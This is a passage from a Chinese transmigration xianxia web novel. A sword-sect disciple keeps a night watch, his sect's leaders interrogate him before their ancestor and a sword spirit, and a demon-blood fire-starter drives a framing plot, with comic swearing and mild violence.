——除非必要,不要随意点燃触碰玄阳火。
末了。
他将半人高的霰月从肩上解下。
“霰月有灵,又留存我的气息,一般魔兽即使看见了也不会贸然靠近,”云岁鸿将剑插进篝火中心,明明暗暗的火影衬得他身型格外伟岸:“有它坐镇,若明火熄灭,短时间内师弟也就不需亲自点火了。”
“师兄!你把霰月留下,自己岂不是更危险?!”
花怒娇不满地叫唤:“哪有剑修会修炼多年却不知道剑不离身的?大事小事都倚靠同门了,我们坤元剑派哪有这种不思进取的东西。”
齐舒玉对着她做鬼脸。
“略略略——不思进取的东西~~~~”
花怒娇懂什么。
穿越当剑修又不能写进求职简历。
这工作还不交五险一金,生命也没保障的。
迟早会被时代取消!
“师妹。”云岁鸿出声道:“我们速去速回便是。”
花怒娇杏眼怒瞪齐舒玉,冷着脸抽出秦天柱和王二麻子腰间的剑,大步流星跟在云岁鸿身后离开。
齐舒玉目送三人离开。
耸了耸肩。
夜风低呼。
燃烧的木柴崩裂出点点火星。
黑暗中的谧静尴尬又熟悉。
像是回到在山下历练的半个月前,
轮到他和薛殷一起守夜的时候,也是这么无语。
“……”
“……”
“……”
“……”
齐舒玉受不了地打破沉默:“小兔崽子你要不睡会儿?”
“不必。”
“多休息有利你伤口恢复。”
“我未动,已是修养。”
“师兄是为了你好。”
“多谢师兄。”
臭小子油盐不进啊!
两个大男人深夜面对面坐着像话吗?!
齐舒玉咬牙道:“你是不放心守在这里的是我吧?”
少年听后冷笑一声,反问道:“若换作师兄去歇息呢,师兄可安心?”
这有什么好不放心的。
以暗藏在薛殷体内的魔族血脉来说,
只要他实打实发飙,
方圆百里就不会有敢靠近的魔物。
“当然,”
齐舒玉听见自
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己不受控制道:“我是不可能放心的,毕竟你看起来根本不在乎我的死活。”
薛殷的眼眸黑沉沉的,
“师兄何必说得如此委屈,”少年嘴角露出轻蔑的嘲讽:“前些日子里您也正有意永留师弟于墨君山下。”
“我没有啊!”
齐舒玉瞪大眼睛,长长的睫毛呆立在半空中:“你要是跟着我们才会真的有危险,何况我早和大师兄约定过,他会先带走你和玲珑的。”
“多谢师兄美意。”
薛殷嗤笑一声,冷冷的笑意在眼底结了冰霜。
“爱信不信,”齐舒玉气极反笑:“以后你爹我也不当吕洞宾了!第一眼就知道你小子不是什么好人,反正帮你也不会有什么好下场,我有大师兄就够……”
薛殷陡然眼神凌厉:“你说自己是谁?”
齐舒玉涨红了脖子粗声粗气:“你爹!我说我……”
“你们怎么点了火啊啊啊啊啊!!!!”
不知不觉中醒转的秦天柱发出嘶哑的呐喊,睁大眼睛连滚带爬地扑到火堆前,扬起一把把沙土朝火堆里砸去。
玄阳火点燃后的气味特殊,所以这次人多的情况下,云岁鸿便没有将篝火生得十分旺盛。
——正好减轻了秦天柱的工作量。
他抹掉额头的汗,劫后余生地喘了口气:“不能……呼——夜里不能生火的,会招来魔兽!”
薛殷执剑摔坐回去,闷哼一声,又吐出一大口血来。
而齐舒玉完全没反应过来,傻傻地怔愣在原地。
直到霰月的嗡鸣声唤回他的神智。
“我靠!”齐舒玉耳边传来自己剧烈的心跳声,被浓重且腥臭的夜色再次包裹住的刹那,他甚至有种不知身在何处的错觉。
强压下心中的割裂感,
头脑一片空白的齐舒玉条件反射要去拔剑。
注意到剑身发颤的秦天柱也同时伸出手。
二人本意是安抚吵闹不休的霰月,但在云岁鸿手中轻盈飘逸的霰月此刻不仅重如千金,还在触碰下发出愈发高亢的尖鸣。
差点被尖叫声穿破脑袋的齐舒玉这才猛地意识回笼,掏出怀里的火折子,打掉秦天柱试图过来抢夺的手:“别动!这是云岁鸿留的宝物!”
这下,
秦天柱才彻底老实下来。
齐舒玉七手八脚地又重新把火点燃,顾不得留在这的几个大老爷们闻多了玄明火的气味是否会有副作用,只管埋头把火点到最旺。
霰月也逐渐平静下来。
齐舒玉手上动作不停,
额头起了层薄薄的晶莹汗珠。
碎发乖巧地帖服在耳侧,
双颊被蒸腾的火气烤出玫瑰的色泽。
直到异响传来。
齐舒玉才面色讪讪地住了手。
呃……
秦天柱都被烤吐了。
“你没事吧,不小心火烧得太大了点,”
齐舒玉窘迫地摸了摸鼻尖,弯腰想去扶起跪趴在地上神情痛苦的秦天柱。
“这味道就是闻多了容易犯恶心,我第一次闻的时候也不习惯,过会儿就……哎——你怎么了?”
他察觉到掌心下的身子像电视里癫痫发作似的抖动起来。
齐舒玉一惊,
手背忽然被灼热的掌心覆盖住。
“师兄,你身上好香。”
秦天柱转过头,鼻翼翕动着,平凡的五官上呈现出骇人的迷醉状态。
他捏着齐舒玉的手,
鼻尖顺着光滑白皙的手腕往上滑动,
厚重灼热的鼻息几乎隔着衣服要钻进皮肤里。
“操!”
齐舒玉狠狠地打了个颤,寒毛直竖,下意识一拳挥到秦天柱太阳穴上打晕他,扭头冲薛殷喊道:“小心!魔族进来了!”
他顿住。
周围太安静了。
树枝在火堆里崩裂噼啪声都显得尤为明显。
不远处埋着头的乌发少年腰肩直挺,残缺不全的佩剑被插在土里,他单手握住剑柄,双腿半曲着似乎想要借力站起来,手背和额角的青筋在火光的照耀下一览无余。
但他应该是不可能站起来的。
他伤势太重了。
齐舒玉心跳漏了半拍。
他吞咽一口,
从篝火中抽出一条尚未燃尽的木棍,小心翼翼朝着少年靠近。
“薛、薛殷?”
少年明显是听到了青年颤颤巍巍的低唤。
他缓缓扬起脸,眼角爬满了诡异的潮红,眼睛愈发亮得吓人。
“齐舒玉?”
薛殷笑了一下,
鼻尖品尝着空气中看不见的气味。
黝黑的瞳仁像是紧盯着晚餐的捕猎者。
“过来。”
“……过来你妈了个逼的臭傻逼你他妈演那鬼片样子老子都要被你吓尿了。”
齐舒玉嘴唇惨白,音不成调:“你、你正常点,薛殷,老子害怕。”
14. 境外剧场
“掌门师兄——”
皇甫成华飞身闯进御星殿,身后灰烬弥漫,火星掉落,他一把扯住祝岳明的袖子往外去:“快!快带我去见师祖!”
“哎哎哎,皇甫成华!”白平飞语气不善地拦住他:“做什么,我与掌门正在商议此次弟子们前去论道大会的要事,现在哪有比这更重要的……”
“玲珑出事了!”
皇甫成华急不可耐地打断他:“她的魂灯暗了!”
“魂灯?”
“魂灯?”
祝岳明与白平飞俱是变了神色。
“你这徒儿从何处得来的魂灯?”
“一个黄毛丫头哪里来得魂灯?”
皇甫成华避开二人探究的目光,无可奈何地叹口气道:“我也不知她从何处得来的,是她自小就带在身边的东西,幸而她幼时身处凡界,周遭无人能窥探此物,才得以完好带入我门。”
白平飞表情难看:“师弟,没想到你连我们也瞒了十多年。”
皇甫成华看向神色不明的祝岳明,连声追补道:“掌门师兄、白师兄,实非我故意为之,这宝物是玲珑交予我之前便已认她为主,我想着,若上交宝库,待长老们审查后还是要退还于她的,何必多生事端。”
祝岳明和白平飞听罢,
不再多言。
白平飞转身又坐回了方才的位置。
皇甫成华目光愈发焦急:“掌门师兄!现下玲珑的魂灯黯淡,不知遇何险境,劳烦您带我去求求师祖放玲珑出来,她少不经事,此次论道大会连凑热闹的资格也不够的。”
祝岳明云淡风轻道:“师祖行事向来有分寸,若我等贸然前去请师祖开启秘境,却惊扰到其他试炼弟子——并非小事。”
“可是、可……”
“师弟何必忧心忡忡,”白平飞慢慢悠悠地插话道:“要是你那爱徒危在旦夕,师祖定然早早来通知你带她回川穹峰去。以你之言,她曾用凡人血命魂灯认主,如今她已临近筑基,说不定是与魂灯的脉连出了问题。”
“那……那我也要亲自瞧了才放心!”
白平飞掀起眼皮意味深长地瞥了他一眼。
皇甫成华的视线滑过两位师兄平淡的神色,突然冷了下来,定睛与白平飞对视,道:“白师兄,你也对舒玉视若己出,该更懂我才是。”
“我自然理解师弟,可少年人不经风浪,何以见长。
师弟要相信孩子们才是。”
“师兄所言极是,”皇甫成华放缓语气,似是情绪有所缓解:“我怎么能不信舒玉呢?他进了秘境后一定会去寻玲珑的,这小子怕是愿意用命去护她——有他在,说不定真是魂灯出了差池。”
白平飞倏地起身,身后的座椅瞬间四分五裂,烟尘缭绕。
“闹什么——”
祝岳明斥了声,似有警告,却也不知是对谁说的。
白平飞脸色铁青着抓起皇甫成华,
翻身上剑冲了出去。
**
“何事足以你们惊扰本尊修
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炼。”
一片伸手不见五指的漆黑之中,身影高挑的男子不知从哪里现身于殿堂之上,袖袍一挥,整个乾坤殿亮如白昼。
为首的祝岳明俯身下跪。
白平飞和皇甫成华紧随其后。
“师祖,弟子请您亲启长垣秘境!”白平飞迫不及待地开口道。
一柄紫气环绕的明剑凭空出现在他的眉心。
“本尊需要一个理由。”
男人深沉低缓的嗓音在殿内游走环绕。
跪着的三人俱是鬓角生出冷汗。
皇甫成华脸颊涨红着才终于张开嘴,解释了一番。
申墨眼神一凝,冷声道:“长垣?”
悬在半空的紫剑剑尖反转,在空中打了两个圈,化身成高挑清瘦的男子落在申墨的殿椅台阶之下。
男子耸了耸肩,声音清朗悦耳:“自古以来秘境里伤亡不是常有的么?”
话音未落,
他似是被无形的大手掐住脖子举了起来。
他倒也不挣扎,
只是艰难吞咽道:“好吧,不知何时多了只小虫,本尊想着机会难得,既然你也不喜我打扰,就留给你的小宝贝们了。”
“轰——”地一声,
男子在祝岳明等人眼前化作闪烁的尘埃。
整个乾坤殿为之震动。
三人伏下头,久久不敢直视殿台。
高位之上,
隐含愠怒的灵波在山中扩散。
“去阵口。”
15. 回忆
“什么?!大师兄和小师妹都在秘境里被打伤昏迷了?”
齐舒玉疯狂在脑子打开几乎倒背如流的半本书,
从第一章开始重看。
没有啊?
书里没提到过云岁鸿在出发去论道大会前受伤啊,他意气风发的样子还让女主看到脸红心跳么不是。
他啧道:偷偷受伤,惊艳所有人。
“伤重吗?”
“你掌门师叔尚未多言,想来无事。”
意思就是不耽误他当参赛大队长吧。
“那咱浪费点修炼的时间去看看?”
“为师看你是皮痒了!少耍心眼,为此次论道大会养精蓄锐才是你分内之事。”
白平飞盯着他的马步,眉头越来越紧,双指朝他身后勾了勾,正颜厉色道:“为何几日历练竟让你的脚步愈发虚浮?连一个身受重伤的外门弟子走路也比你稳健?!”
沉沉的巨石压在齐舒玉伸直的手臂上,差点让他栽个大跟头,急忙憋红着脸集中精力调息运气。
“你近半年来实在太懈怠了!”
“若非运气极佳,可能这次论道的机会根本轮不到你!”
白平飞阴着脸冷哼一声:“运气更好的倒是那外门小子,那么重的伤也没晕过去,白捡了一个机会。”
“啊?!薛殷也有名额?”
齐舒玉愣了一下。
不对吧!
小说里上官玲珑去论道大会时,薛殷根本不够格,和云岁鸿也不熟,这才给了接下来几个小四小五老六接近女主的机会,直到后面才发现他是偷偷跟着队伍下山的。
难不成……
剧情被扇动了?
“混账小子,你又分神!”
白平飞在齐舒玉的嗷嗷声中又分别加了两堆石块在他膝头。
“那外门去了也是给坤元剑派丢脸,若届时你和他一样被比下去,”白平飞敲西瓜一样敲了敲齐舒玉的头:“咱们师徒情分也到此为止。”
提到薛殷,
齐舒玉就不吭声了。
要不是秘境突然打开了,
那家伙可能是真的会杀他。
他一个能活到十四章的炮灰差点死在了第三章!
说出去多丢人啊!
好像他很笨的样子。
脑瓜子又挨了记重锤,差点出现幻觉的齐舒玉再分不出其他心思。
直到半柱香后。
祝岳明御剑凌于上方,匆匆留下一句话又继续飞速前行:“师兄,师祖有要事商议,你带着舒玉速速前来乾坤殿,莫要惊动其他弟子。”
白平飞扬起圆滚滚的脑袋:“哎,什么事儿?掌门师弟——您好歹透露些许给师兄我——”
“没关系!师尊,”
齐舒玉自觉抖掉身上的石块,直起身子拔出腰上的剑飞出去:“去了咱们就能知道。”
“齐舒玉!!!以后没有我的命令你不许自作主张!”
“嗷——老头!!御剑危险!别揪我耳朵了!!”
**
还未踏进乾坤殿,
不同寻常的凝重气氛已扑面而来。
齐舒玉不由自主将手搭在了剑柄上。
前面的白平飞像后脑勺长了眼睛,扬起掌风拂开他的手,冷声叮嘱:“乾坤殿前不得无礼。”
齐舒玉这回没再顶嘴,
眼皮没来由狂跳。
“师祖,秘境中近千余名弟子尽数昏迷,灵台内魔气残存,说不定与掌门首徒脱不了干系,还请师祖彻查此事!”
“师祖,魔族现身墨君山一事定该彻查岁鸿,他下山除魔卫道多年,与魔族积怨不小,若是嫁祸于他,还请师祖还他清白。”
“掌门真是高看魔族了,若无里应,一只不敢露面的小虫如何敢踏入墨君山?!坤元剑派内门弟子大多世代居于墨君山,与坤元剑派血肉相连,上下一心,且日夜闭门潜心修炼,除了你这徒儿,还有谁有资格时常下山,与魔族会面?况且当年——”
“钱佑!岁鸿心性何如坤元剑派所有弟子清清楚楚!你分明是对我有所不满才牵连至他。这掌门之位你若想要,尽管拿走!但实话告诉你,我的掌门之位并非主动求取,是你两百年前修为、心性皆不如我,长老们才……”
“够了。”
殿台上面容模糊的绛紫华服男子周身萦绕着不耐。
低磁的呵斥犹如龙吟余韵,
在脑海内振聋发聩。
齐舒玉听得头晕目眩了一阵,刚踏进殿门就默默埋下脸,缩在白平飞身后,努力降低自己的存在感。
他紧盯着白平飞的脚后跟。
白平飞向左一步,
他向左一步。
白平飞向前一步,
他向前一步。
白平飞向右一步,
他向右一步。
白平飞停下脚步,
他稳稳停住。
“弟子白平飞带座下大弟子齐舒玉拜见师祖。”
齐舒玉:!!!!!
他猛地一抬头,
视线滑过白平飞花白的头顶。
整整十块白玉堆砌出比人还高的殿台,台阶上铺着大片朱红色细绒祥纹毯,在齐舒玉的视野中,甚至能看见垂落在地毯上的绛紫色衣摆纹路。
太、太近了吧!
眉眼低垂着颇显乖巧的青年长睫不安地煽动。额间渗出的汗珠一颗颗滑落,打湿的发丝愈发乌黑亮丽,黏在潮润莹白的颈间。
“舒玉!还不快回师祖的问话!”
齐舒玉猛然听得脑内白平飞的一声暴喝,
吓得顶吱哇乱叫:“我是无辜的!”
……
……
……
在满堂寂静中,青年双目无神,面带微笑着放下举过头顶的双手。
是有些丢脸。
但没关系。
你们只是哥的过客。
“扑哧。”
齐舒玉飞快睨了眼脚边不知何时出现的长剑。
剑身亮如繁星,
流动着细碎光芒的紫雾凝结成丝滑绸缎,萦绕其上。
乾坤殿对刀剑的管控严格到方圆十里连御剑都不行,除了申墨,谁敢把自己的剑亮出来?
齐舒玉立刻眼观鼻鼻观心。
当作没听见那声嘲笑。
剑灵嘛。
有点贱贱的也正常。
“本尊再问一遍,右方的同门你可否认识?”
上方的声音听不出喜怒,
齐舒玉只觉得自己的半张脸都被空气捏着往右转去。
“大师兄?!”
他眼睛一亮,欣欣然弯成两轮新月,情不自禁迈开脚步:“我才听师尊说你受伤昏迷,这么快就醒了。”
倏地,
齐舒玉愣在原地。
高大俊朗的修士淡麦色的皮肉上缠满了金色的枷锁。而他的剑,和主人一样披着沉重锁链,被随意丢在地上无声震颤不止。
“齐师弟?”
云岁鸿干裂惨淡的唇瓣动了动。
他轻轻偏头,
似乎在辨认声音的来源。
浅褐色的瞳仁蒙着一层阴翳。
齐舒玉不知道自己为什么在发抖。
有个声音在催促他,
……去那人身边。
去他身边!
去他身边!
去他身边!
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要再靠近一点!
“等一下,师侄。”
失魂落魄的青年肩膀被人轻轻按住。
顿时,
一双腿重如千斤。
震耳欲聋的喧嚣声消失不见,
眼中露出一丝清明的齐舒玉回头:“钱师叔?”
钱佑并不看他,只是面朝高高的殿台,恭敬道:“禀师祖——师祖有所不知,幼时白师兄爱徒曾被这位弟子重伤,加之少年人年轻气盛,多年来两人势同水火,墨君山弟子有目共睹,连我等长辈也有所耳闻,现下……弟子斗胆怀疑,师侄并非受魔气影响,而是魔毒已深。”
“钱师叔你在说什么?”
“禀师祖,钱师弟所言句句属实。”
白平飞突然站出来道:“弟子的徒儿幼时被云师侄重伤,静养数月有余,心中自然有怨,也怪弟子疏于教导,才让这孩子耿耿于怀。可自从半年前云师侄某次回山之后,这孩子不仅一夜间与云师侄冰释前嫌,如今更是亲密无间。”
“白平飞!”
祝岳明神色大变。
白平飞回头,
与祝岳明深深对视一眼。
逐字逐句道:“弟子以为,此事确有蹊跷。”
“既然在师祖面前开口了,白师兄怎的不再细说?”祝岳明气息略有不稳道:“魔毒本就在修士体内尚难存活,才半年光景,顶天不过催生受毒者一丝依赖之情罢了,而你这徒儿,从前性情乖张、争强好胜,无论修炼或是切磋,定要与人一决高下的,现下却变得优柔寡断,修为更是止步不前——依我看,更应是被夺舍才对!”
每说一句,
祝岳明的袖袍便鼓起一分。
到最后,他几乎压不住簌簌抖动的衣衫,怒然道:“不若今日请师祖替他搜魂!”
“祝岳明!”
白平飞目眦欲裂:“舒玉到底做错了什么,让你们师徒二人都想害他!”
“本尊说——够了!”
伴随着一声怒斥,强大的灵压排山倒海般涌来,五脏六腑都像是被沉重的大山压住动弹不得,呼吸难畅。
首当其冲的钱佑三人猛地吐出鲜血,
神情一凛,
当即俯身跪了下去。
殿堂内哗啦啦跪下一片。
只有没反应过来的齐舒玉不知所措地站在原地,
对着被按头下跪的云岁鸿干瞪眼。
犹如鹤立鸡群。
“哈哈哈哈——”
齐舒玉低头。
脚边那把剑竟在此时肆意大笑起来。
笑声在空旷的殿内回荡,
久久不息。
它万分嚣张地穿梭在前殿之中,
所到之处都留下细碎的光芒。
“搜魂?”
片刻后,它的剑尖停在祝岳明的头上:“你想害他变成痴儿?”
祝岳明深吸一口气:“禀剑祖,弟子并无此念,只是师侄言行举止于以往大相径庭,惹人生疑罢了。且若由师祖出面,此事必然万无一失。”
“哈哈,算盘打到申墨头上,你胆子倒是不小。”
“弟子万万不敢!”
“有何不敢,本尊很是欣赏你的胆量,”它似乎有些高兴起来,在空中转了几个圈,声音清朗:“不过无需大费周章,申墨劳心费神地在秘境里养了不少吐真鱼,其中一条河里的都快被他吃完了,计量之大,连你们这些元婴化神也无足抵抗,还不够他说实话么。”
“他真是个能吃的小家伙。”
“哦,对了,”
齐舒玉眼睁睁看着一把剑在他眼前化作人形,同时捧起了祝岳明和白平飞的脸,嘴角三分戏谑:“全都是他爱徒捉给你爱徒吃的哦。”
16. 审讯
齐舒玉张开嘴,
发出没有声音的尖锐暴鸣。
含情脉脉靠近俩老头的。
是另一个“齐舒玉”。
察觉到他的视线,那张莹润白皙的帅脸扬起,眼角湿润上挑,秀气文雅的五官霎时显得雌雄莫辨。
青年直起身,
细长指尖轻轻按压饱满红润的唇珠。
眼神里充斥着浓厚兴趣。
“小东西,你还记得本尊吗?”
面容清丽隽秀的白净青年朝齐舒玉靠过来,每走两步就变化出另一个人的模样。
……血迹斑斑的殊色少年。
……花容月色的娇俏少女。
待少女飘逸的衣摆一点点与黑色金边华服相融时,一道犹如实质的疾风穿破少女头颅,散在齐舒玉胸口。
像是千万根针隔着衣服扎了他一下,
虽然算不上难以忍受,但余波还是震得他忍不住捂嘴咳了起来。
长垣又变回剑的模样。
它十分亲昵地绕着齐舒玉的——腰腹、手腕、胳膊,慢慢贴了上来。
锋利剑身最后停在了他脖颈上。
齐舒玉不适地撇开头。
每退一点,
它就进一分。
“别动了,”长垣好整以暇道:“接下来本尊问一句,你必须答一句。”
青年下意识抿紧唇瓣。
长剑滞空一瞬,
好奇地左摇右摆起来:“你怎心跳得这般快?”
“……”
“说!”
齐舒玉颈间一痛,
热意从皮肤下涌了出来。
他吞了吞口水:“怕你问到不该问的。”
“哦?什么是不该问的?”
青年面露难色。
“说!”
长剑银光划过,
上方莹白饱满的耳垂也被破开条口子。
齐舒玉吃痛一声,
躲开殿里无数双探究的目光,抓着大腿两侧衣摆,揣揣不安地低下头含糊不清道:“……我喜欢胸大腿长的。怕被你们知道了嘲笑我品味差。”
“……”
“……”
“……”
“……”
空气沉默到令人窒息。
“哈哈哈哈哈哈哈哈哈哈哈——”
长垣陡然大笑,
滑落到他脚边打着滚晃动个不停。
“哈哈哈哈申墨,怕不是有合欢宗的在你眼皮子底下夺舍他了。”
它周身紫雾飞溅,
从素白弟子服上割下不少布料。
齐舒玉满脸通红地攥紧衣袍。
恨不得找个地缝钻进去。
啊啊啊啊啊啊啊!
说出来了!!
在那么多人面前说出来了!!!!
“那你又是何人?”
下一秒,一袭黑色鎏金华服的清瘦身影从将散未散的紫雾中闪现,骨节分明的大掌一把掐住青年脖颈,声音暗哑狠戾。
齐舒玉发懵地盯着从未见过的黑色面具人,嘴比脑子快道:“齐舒玉。”
“当真是齐舒玉?”
“呃……该说不说的我就是齐舒玉嘿嘿没想到吧保真。”
面具男松开手里的力道,
偏了偏头。
拇指摩挲着青年光滑的下颌,
似乎在思索什么。
“凭你小小筑基自然是抵抗不过那么多吐真鱼的效力,可本尊总觉得你有些奇怪……难道,你可曾修魔?”
“哈?当然没有!”
“嗯,闻着确实没有魔族的臭味。”
坚硬冰凉的面具从青年颈间移开,薄唇轻启:“那,现下要如何向你师尊师伯们解释,你与云岁鸿愈发亲近?”
提到“云岁鸿”,
齐舒玉不由回眸。
高大英俊的修士面色茫然。
齐舒玉红着脸神情别扭:“他、他挺帅的,而且很强!”
“最重要的是,
他对我很好。”
“……”
“……”
“……”
“……”
俯跪着的白平飞手没撑住,
“咚”地一声脑门磕在了台阶上。
目光在齐舒玉和被按住的云岁鸿身上打了几个圈,长垣略带疑惑道:“本尊记得墨君山有令,不得私下结为道侣?”
齐舒玉惊得破了音:“????什么、什么道侣?!这不是男人的崇拜吗?!”
白平飞重重地松口气。
清了清嗓子,
重新调整好跪姿。
“何必这般慌张地解释,”长垣忽地来了兴致,面具下薄唇勾起,追问道:“那从前为何与他处处相对?”
齐舒玉哪里知道,
他又不是原主。
“我猜,是嫉妒?”
“倒也在理。尽管他修为低微,可你更差强人意。”
“……你讲话真难听。”
“那么接下来,本尊要同你讲讲另一件事了,你且仔细听着。”
长垣话锋一转,揽着白净青年的肩将他带到云岁鸿面前,一起蹲了下来,逗猫似的抚他:“此前,本尊百思不解——玄明火虽不算常见,但这东西,除了帮你们凡夫俗子在魔族面前隐匿踪迹,明明就是件不认主的废物,怎会被你们视若珍宝。”
“废物?你在装逼吧,”
齐舒玉一副戳穿他的样子哼哼:“当时在梦里你就不敢直接对我动手的样子。”
“本尊既非魔族,它怎能伤及本尊,更何况于幻梦之中——本尊见你死活要把自己圈起来,逗弄你罢了。”
长垣的嘴角一个劲上扬。
“小东西真是蠢得可爱。”
齐舒玉捏紧拳头:“……”
蠢你妈。
“好了,莫打岔。申墨那鸟人有点生气了,”长垣嘀咕几句,正色道:“依你来看,修者对这玄明火趋之若鹜是何缘由?”
“呃……炒作?”
“?????炒什么?”
“哦哦,我换种说法。比如你想把路边野果卖出去,可以给它编个能治百病的身份,然后派人到处散播这个谣言,再强调它数量稀少,那么会有越来越多的人想得到它。”
“做买卖还有这种法子?”长垣瞪大眼睛惊呼:“你们人类真是诡计多端!”
“不止呢!”齐舒玉见他单纯得像张白纸,忍不住来了说教的兴致,撩起袖子道:“或者再找个名声响的,让他告诉别人这果子有多鲜美——呃——”
齐舒玉识时务地闭上嘴。
因为长垣再次“欻”地一下在他面前被爆了头。
“咳咳,还是先讲正事。”
长垣重新凝聚出实体,拳头捂在唇上,心虚地转了转眼珠子:“长话短说——”
“你这好师兄留给你的折子,用魔族精血浸泡过。吸入这种烟火气的人,会对生火者心生依赖之情。”他补充道:“不是炒的。”
太玄幻了吧?!
齐舒玉倒吸一口凉气。
他不解。
他震惊。
但他接受良好。
“可那天后半夜的火是我点燃的,你来时也见到了,薛殷想杀我。”
长垣挑了下眉。
“哦。这小子修炼资质奇差无比,心性却是尚可。他以为是魔族在火灭之时幻化成你的样子,意图动摇心神,因而竭力防抗。短时内,这东西甚至也奈何不了他这种凡人。”
“那我现在……”齐舒玉指着连吸几天烟灰的自己呐呐道。
——腌入味了吧。
“没错,”长垣用无可救药的眼神睥睨他:
“以你眼下离他三里远便心腹难忍的症状,这毒怕是一年半载也未必能全清。”
“可、可是师祖,论道大会在即,您要帮帮舒玉啊!”白平飞在二人身后骤然出声,撩起胡
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子拍着大腿哀嚎,完全没有世人话本里‘仙风道骨’的姿态:“他天资卓越,被云岁鸿这孽徒陷害得好惨呐!”
齐舒玉急急忙忙道:“不是,这里面肯定有误会!”
主角落难。
关键时刻不帮他说点好话真是白看那么多爽文了。
白平飞看他两眼,泪洒当场:“舒玉呐——师祖您救救他!舒玉他已经毒伤心智了啊!”
“……”
阴险狡诈炮灰男被骂得最狠的一次。
齐舒玉试图帮他抢救一下局面:“师尊……”
“舒玉你醒醒啊,”白平飞殷切地看着他,老泪纵横:“你自小就是要强的孩子,为师看着……”
他的手颤颤巍巍比划了一下。
“你还不及书案高的时候,就因为师多夸赞其他弟子一句,寒冬腊月里也要跑到林间修炼。可这孽徒回山之后,你性情大变,说不定他早就在你身上动了手脚呀——”
白平飞哭得太煽情,
活像电视里孙子叛逆的艰苦留守老头。
齐舒玉也情不自禁跟着抹眼角,鼻尖发红:“他没有。”
“这毒竟让你护他至此!”
白平飞脸色变了又变,苦口婆心:“你现在修为停滞……”
“师尊!真不怪他!”
眼泪停不下来的齐舒玉嘴和脑子已然分家:“是我腿麻坐不住了。”
“……”
“……”
“……”
白平飞像是被突然拧上的水龙头:“????”
倒是祝岳明腰背挺直了不少。
“师尊!我、我没想在这里说的,”察觉气氛不对的齐舒玉声音越来越小:“是你非要问……”
“齐舒玉!”
白平飞涨红着脸暴呵:“你这——”
一道剑光闪过,
足有小臂长的白色胡须无声掉落。
长垣收起掌心光芒:“本尊不想听你们闲聊家常。”
“本尊自有定夺。”
台上的紫衣尊者忽然动了。
众人瞬息恢复缄默。
绫罗贴着绒毯拂过台阶的声音清晰可闻。
长垣侧了侧身让出路来,散漫嬉笑道:“这小家伙我问完了,剩下的交给你咯。”
申墨置若罔闻地抬了抬指尖。
磕跪在地的高大修士立即被扯住金色锁链扬起上半身。
他的指尖又轻轻拨了一下。
脚边随即出现一条条活蹦乱跳的长尾鱼。
云岁鸿身旁的人心领神会,按着他的头,将地上的鱼捡起来活生生塞进了他嘴里。
一条接一条。
没有停歇。
像是在喂一头畜生。
齐舒玉陡然升起滔天愤怒:“你们为什么要这么对他?!”
申墨似乎斜了一眼。
可仅是无意间与他余光相对,齐舒玉的头脑中已然天旋地转。
“你当如何?”
上位者低沉的嗓音直击人心。
齐舒玉好半天才缓过来,红唇嗫嚅:
“好、好歹烤一下吧。”
长垣无所顾忌地哈哈大笑着,把青年往自己身边扯了把,欺身在他发间道:“你这模样,是行侠仗义?还是郎情妾……”
被他再三当众嘲笑,齐舒玉无能狂怒地推了他一把,恶寒道:“你要讲话就好好讲,靠这么近怪恶心的。”
长垣一窒,轻笑:
“倒是仗着本尊喜爱你。”
“不必做戏了——”他施施然揽过齐舒玉肩头,揶揄道:“你那好师兄方才跪下的时候就被封了五感,你替他出头的样子他全然不知。”
齐舒玉鼻子红红眼睛红红地僵在原地。
“这次秘境里的弟子,除却你和他还能在这里,其余弟子轻则昏迷重则伤亡。”
他唇角边的笑意不断扩大:
“你猜这殿里谁愿放过你们二人?”
17. 栽赃
一条鱼,痛心疾首。
五条鱼,惨不忍睹。
十条鱼,见者流泪。
但被塞了五十一条活鱼还能神态自若,
只会让人好奇底线在哪里。
吃瓜炮灰男呆若木鸡地扶着自己下巴。
“在想什么?”长垣拨弄了一下他长长的睫毛。
视线停留在被锁链勒出形状完好的八块腹肌上,齐舒玉直呼牛逼:“大师兄胃口真大。”
“呵。他已元婴,那些东西入口即被内丹蚕食,不像你,是真真切切地下了肚。于他而言百八十条亦是不够的,”长垣拖长调子嗤笑道:“倒多亏他替本尊解决了大麻烦,申墨那鸟人,总喜欢养些闲杂玩意在本尊这里,烦死了——就该一次清个干净!”
说着,他不由分说地扒了齐舒玉外衫,再扔到申墨跟前时,已经变成一包活力满满的生鲜外卖。
也不知具体喂云岁鸿吃下多少,等到申墨再次有指令,齐舒玉腿都站酸了。
尤其长垣还时不时扒拉他。
云岁鸿的五感终于被解封了。
垂眸唤道:“师祖。”
见他有了神采,齐舒玉正不自觉地往前踏了一步,就被长垣一把拥住,蒙上眼睛,收起笑意的声音里暗含警告:“安分点,本尊可不想见申墨用一根小指压死你。”
他怀里的青年打了个激灵,
一层坚韧纤长的小刷子细细密密地扫过他的掌心。
殿内鸦雀无声。
久久的窒息后。
申墨冷冷道:“何人。”
“弟子云岁鸿。”
“你可知罪。”
“弟子知罪。”
“从何得之?”
云岁鸿掀起眼皮:“钱师叔赠予。”
满堂哗然。
长垣轻轻地“哇”了声。
齐舒玉急得上蹿下跳,试图拨开盖在眼睛上的手:“让我看看。”
腰上一紧,
他被提着转了半圈。
“钱佑?!”祝岳明大呵一声,声音发抖:“你对岁鸿做了什么?!”
钱佑的瞠目结舌比之更甚:“什、什么?”
他未来得及再多说一句,整个身体都飞了出去,跌跪在绛紫色衣摆旁边。
齐舒玉盯着钱佑的飞行轨迹,
忍不住跟着转动身子时,眼前再次黑暗下来。
申墨音色未变:“何时。”
“六年前。”
“六年前??你在说什么??!”
蒙着眼睛齐舒玉也能听出钱佑的崩溃:“六年前你下山之时我怜悯你,递了个火折子用以照……”
他古怪地顿住,破声道:“……那是玄明火的折子?”
“是。”
钱佑慌张道:“不不不不——师祖,弟子真不知此事!”
申墨的声音听不出情绪:“本尊给你机会解释。”
“弟子、弟子只当那是普通折子,况且、况且、六、六年呐……”
“六年又如何?!”祝岳明气息不稳:“既非凡人,六年不过弹指之间。”
“祝岳明!!你知道我是什么人。”
“是,曾今的你有一片赤诚之心——但是两百年的嫉恨足以改变一个人。”
“够了!难道我不知道当年你做了什么吗?”钱平飞大喊道:“但我什么都没说过!祝岳明!”
大殿里死一般的寂静。
“他肯定是在撒谎。”
长垣猝不及防道。
齐舒玉冷不丁被吓了一跳。
——长垣没有呼吸。
如果不是被他压住了伤口,甚至感觉不到他的靠近。
“听上去是真的。”齐舒玉试图用手肘怼开狗皮膏药一样的长垣,憋着气追问:“你有证据吗?”
